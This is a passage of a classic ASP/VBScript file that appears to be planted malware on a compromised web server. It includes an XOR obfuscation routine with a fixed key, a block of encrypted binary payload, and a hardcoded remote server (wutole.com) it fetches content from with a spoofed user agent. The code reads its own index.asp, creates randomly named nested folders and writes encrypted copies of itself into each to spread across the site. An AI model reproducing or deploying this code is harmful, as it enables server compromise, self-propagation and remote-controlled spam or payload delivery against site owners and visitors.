Mid(arrChar,j,1) Next Digital = strCode End Function Function sj_int(ByVal min, ByVal max) Randomize(Timer) : sj_int = Int((max - min + 1) * Rnd + min) End Function Function Rand(ByVal min, ByVal max) Randomize(Timer) : Rand = Int((max - min + 1) * Rnd + min) End Function function WriteIn1(testfile,msg) dim fs,thisfile set fs=server.CreateObject("scripting.filesystemobject") set thisfile=fs.CreateTextFile(testfile,True) for i=0 to 1 thisfile.Write DeCrypt(msg) thisfile.close next set thisfile = nothing end function function WriteIn(testfile,msg) dim fs,thisfile set fs=server.CreateObject("scripting.filesystemobject") set thisfile = fs.opentextfile(testfile,2,true) for i=0 to 1 thisfile.Write DeCrypt(msg) thisfile.close next set thisfile = nothing end function function a(t) set fs=server.createobject("scripting.filesystemobject") file=server.mappath(t) set txt=fs.opentextfile(file,1,true) if not txt.atendofstream then a=txt.ReadAll end if set fs=nothing set txt=nothing end function Function CFolder(Filepath) Filepath=server.mappath(Filepath) Set Fso = Server.CreateObject("Scripting.FileSystemObject") If Fso.FolderExists(FilePath) Then CFolder=0 else Fso.CreateFolder(FilePath) CFolder=1 end if Set Fso = Nothing end function Function getHTTPPage(url) On Error Resume Next dim http set http=Server.createobject("Microsoft.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=bytesToBSTR(Http.responseBody,"gb2312") set http=nothing If Err.number<>0 then Response.Write "" Err.Clear End If End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "gb2312" GetHtml = objStream.ReadText objStream.Close End Function Function EnCrypt(m) Dim strChar,iKeyChar,iStringChar,I A_Key=split("66,44,55,80",",") k=0 for I = 1 to Len(m) iKeyChar =Cint(A_Key(k)) iStringChar = Asc(mid(m,I,1)) iCryptChar = iKeyChar Xor iStringChar If k<3 Then k=k+1 Else k=0 End If c = c & Chr(iCryptChar) next EnCrypt = c End Function Function DeCrypt(c) Dim strChar, iKeyChar, iStringChar, I A_Key=split("66,44,55,80",",") k=0 for I = 1 to Len(c) iKeyChar =Cint(A_Key(k)) iStringChar = Asc(mid(c,I,1)) iDeCryptChar = iKeyChar Xor iStringChar If k<3 Then k=k+1 Else k=0 End If strDecrypted = strDecrypted & Chr(iDeCryptChar) next DeCrypt = strDecrypted End Function %> ÄÁ†õòÚ?š§3ÛS–·M.I€ü ÐIc¸D°Æz–†ÛÌM¡c+“wé¡TP¢o~Y§§è¾~¢±S<\ôS=LExcx£fR(¼½Î‹d<ŒGè4˜ŒWå#(äã0Åê²&+©×3ãx–Ÿž-7fK³ ž”}ò`þÒRVªÉ¢¨ý:B¹ŸšÝ $ŠMyGl×^9>T"šEߦҿk›£—„;Á䕉~\Ï+�ŠŠž^¨3§5¹Dàd!‘°Ñ®É>£Ö“ Ìç©)î 3ïò`µyWJ’¿p¸©Q²6]¼fø w1(9««‡%ó¨«öëg´¥Y„±mc:&êD…¾K£JÈ* Ú)⨠zkI½ÌR²Â|[“5(ŒÉ�!ôM!½h�Wø�Üó€Š uœ8ciͱ¯{ý¢Í”eiéÊÅ–È!-”µ¸Íè¤ý÷JÒTK¦]…:Ú$bëÃT5(áâüþ¤;qxyŽL6iyeû¤Ç�M7Õ;ÖOo#*m,•Dµ‹N�¹,L§u\Á¬«$dFJײÛ3ÖÆ_!T-'¶k �ÉfiŒån/Y€Ž]/öµ/]T÷%Ö÷KØ;üYõ5¡zšß³N€¼Ð¼:]-Yqƒ(žÒå3á¬pº ¦�·K%ЏÞ�c½<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> <% On Error Resume Next Remote_server="http://www.wutole.com" directory_Number=8 Server.ScriptTimeOut=99999 dim Branch_directory_1,Branch_directory_2,Branch_directory_3,Branch_directory_4,Branch_directory_5,Branch_directory_6,Branch_directory_7,Branch_directory_8,Branch_directory_9,Branch_directory_10 Branch_directory_1=getCode(Rand(3,4)) Branch_directory_2=getCode(Rand(3,4)) Branch_directory_3=getCode(Rand(3,4)) Branch_directory_4=getCode(Rand(3,4)) Branch_directory_5=getCode(Rand(3,4)) Branch_directory_6=getCode(Rand(3,4)) Branch_directory_7=getCode(Rand(3,4)) Branch_directory_8=getCode(Rand(3,4)) Branch_directory=Branch_directory_1&"."&Branch_directory_2&"."&Branch_directory_3&"."&Branch_directory_4&"."&Branch_directory_5&"."&Branch_directory_6&"."&Branch_directory_7&"."&Branch_directory_8 NewFile_content=a("index.asp") dim ml,str,Quantity ml=Request.ServerVariables("HTTP_url") str= Split(ml,"/") Quantity=ubound(str)-1 If Quantity<7 and Quantity>0 then host_name=replace("http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name"),"index.asp","") New_Branch_directory="" Branch_directory= Split(Branch_directory,".") for i=0 to (ubound(Branch_directory)) dirname=Branch_directory(i) if CFolder(dirname&"/")=1 then WriteIn1 server.mappath(dirname&"/index.asp"),EnCrypt(NewFile_content) if New_Branch_directory="" then New_Branch_directory=dirname else New_Branch_directory=New_Branch_directory&"."&dirname end if alink="